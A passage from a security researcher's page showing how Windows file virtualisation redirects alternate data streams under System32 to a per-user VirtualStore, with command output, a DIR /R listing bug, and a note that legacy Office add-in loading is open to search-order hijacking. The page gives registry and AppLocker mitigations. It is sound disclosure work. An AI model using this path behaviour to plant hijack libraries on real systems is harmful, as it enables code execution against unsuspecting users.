    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.vbs'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.vbs'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.vbs'
    File 'C:\Windows\system32:Quirk49.wll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.wll'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.wll'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.wll'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.wll'
    File 'C:\Windows\system32:Quirk49.wsc' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.wsc'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.wsc'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.wsc'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.wsc'
    File 'C:\Windows\system32:Quirk49.wsf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.wsf'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.wsf'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.wsf'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.wsf'
    File 'C:\Windows\system32:Quirk49.wsh' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.wsh'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.wsh'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.wsh'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.wsh'
    File 'C:\Windows\system32:Quirk49.xll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.xll'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.xll'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.xll'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.xll'
    
    0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2)
    Error message text: The system cannot find the file specified.
    CertUtil: -error command completed successfully.
    OUCH: although creation of Alternate Data Streams succeeds, all subsequent accesses fail with either the wrong Win32 error code 2 alias ERROR_FILE_NOT_FOUND or the wrong error code 126 alias ERROR_MOD_NOT_FOUND, i.e. File Virtualisation of Alternate Data Streams is seriously broken!
  6. Show the bug of the DIR command:

    MKDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32\Quirk49"
    DIR /R /S "%LOCALAPPDATA%\VirtualStore\Windows"
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          System32
                                         2 System32:Quirk49.acm:$DATA
                                         2 System32:Quirk49.asa:$DATA
                                         2 System32:Quirk49.asp:$DATA
                                         2 System32:Quirk49.ax:$DATA
                                         2 System32:Quirk49.bat:$DATA
                                         2 System32:Quirk49.chm:$DATA
                                         2 System32:Quirk49.cmd:$DATA
                                         2 System32:Quirk49.cnt:$DATA
                                         2 System32:Quirk49.cnv:$DATA
                                         2 System32:Quirk49.com:$DATA
                                         2 System32:Quirk49.cpl:$DATA
                                         2 System32:Quirk49.crt:$DATA
                                         2 System32:Quirk49.dll:$DATA
                                         2 System32:Quirk49.drv:$DATA
                                         2 System32:Quirk49.efi:$DATA
                                         2 System32:Quirk49.exe:$DATA
                                         2 System32:Quirk49.fon:$DATA
                                         2 System32:Quirk49.hlp:$DATA
                                         2 System32:Quirk49.hta:$DATA
                                         2 System32:Quirk49.ime:$DATA
                                         2 System32:Quirk49.inf:$DATA
                                         2 System32:Quirk49.ins:$DATA
                                         2 System32:Quirk49.iso:$DATA
                                         2 System32:Quirk49.isp:$DATA
                                         2 System32:Quirk49.its:$DATA
                                         2 System32:Quirk49.js:$DATA
                                         2 System32:Quirk49.jse:$DATA
                                         2 System32:Quirk49.lnk:$DATA
                                         2 System32:Quirk49.msc:$DATA
                                         2 System32:Quirk49.msi:$DATA
                                         2 System32:Quirk49.msp:$DATA
                                         2 System32:Quirk49.mst:$DATA
                                         2 System32:Quirk49.mui:$DATA
                                         2 System32:Quirk49.nls:$DATA
                                         2 System32:Quirk49.ocx:$DATA
                                         2 System32:Quirk49.pif:$DATA
                                         2 System32:Quirk49.reg:$DATA
                                         2 System32:Quirk49.scr:$DATA
                                         2 System32:Quirk49.sct:$DATA
                                         2 System32:Quirk49.shb:$DATA
                                         2 System32:Quirk49.shs:$DATA
                                         2 System32:Quirk49.sys:$DATA
                                         2 System32:Quirk49.tlb:$DATA
                                         2 System32:Quirk49.tmp:$DATA
                                         2 System32:Quirk49.tsp:$DATA
                                         2 System32:Quirk49.ttf:$DATA
                                         2 System32:Quirk49.url:$DATA
                                         2 System32:Quirk49.vb:$DATA
                                         2 System32:Quirk49.vbe:$DATA
                                         2 System32:Quirk49.vbs:$DATA
                                         2 System32:Quirk49.wll:$DATA
                                         2 System32:Quirk49.wsc:$DATA
                                         2 System32:Quirk49.wsf:$DATA
                                         2 System32:Quirk49.wsh:$DATA
                                         2 System32:Quirk49.xll:$DATA
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32
    
    04/27/2020  08:15 PM    <DIR>          .
                                         2 .:Quirk49.acm:$DATA
                                         […]
                                         2 .:Quirk49.xll:$DATA
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Config
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32\Quirk49
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
                                         2 ..:Quirk49.acm:$DATA
                                         […]
                                         2 ..:Quirk49.xll:$DATA
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                  10 Dir(s)    9,876,543,210 bytes free
    Oops: the builtin DIR /R command of the Command Processor enumerates Alternate Data Streams not only on regular directories, but also on the virtual directories . and .. synthesised by the Win32 functions FindFirstFile() and FindNextFile(), resulting in (double or) triple listing of Alternate Data Streams when the switches /R and /S are used together!
  7. Finally cleanup the garbage left in the virtual store due to the first bug:

    RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32\Quirk49"
    RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32"
    RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\SysWoW64"
Note: the evaluation of the (mis)behaviour for other extensions or with the Win32 functions CreateFileTransacted() and DeleteFileTransacted() as well as CreateProcessAsUser(), CreateProcessWithLogonW(), CreateProcessWithTokenW(), CreateSymbolicLink(), CreateSymbolicLinkTransacted(), LoadLibraryEx(), LoadModule(), MoveFile(), MoveFileEx(), MoveFileTransacted(), MoveFileWithProgress(), ReplaceFile(), ShellExecute(), ShellExecuteEx() and WinExec() is left as an exercise to the reader.

Note: the comparison of the dangerous extensions exempted from File Virtualisation against the Unsafe File List documented in the MSKB article 291369 is also left as an exercise to the reader.

Security Impact

On Windows Vista and later versions, (legacy) 32-bit applications like Microsoft Office 2003 and earlier versions, which are subject to File Virtualisation and load add-ins from DLLs with extensions like .wll or .xll, are vulnerable to well-known weaknesses like CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element documented in the CWE; they allow well-known attacks like CAPEC-471: Search Order Hijacking documented in the CAPEC.

Mitigation

Disable file (and registry) virtualisation:
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableVirtualization"=dword:00000000
This policy setting is documented in the TechNet article UAC Group Policy Settings and Registry Key Settings.

Alternate Mitigation

Use SAFER alias Software Restriction Policies, AppLocker or Microsoft Defender Application Guard to deny execution in every user’s virtual store directory %LOCALAPPDATA%\VirtualStore\ and below.

Caveat: beware but of their loopholes!

Trivia

The Redmond Reality Distortion Field emanates from weird matter composed of quirks; its vector boson is the so-called Gates particle with a mass equivalent to some 100 G$.

Contact

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Use the X.509 certificate to send S/MIME encrypted mail.

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):


Copyright © 1995–2024 • Stefan Kanthak • <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>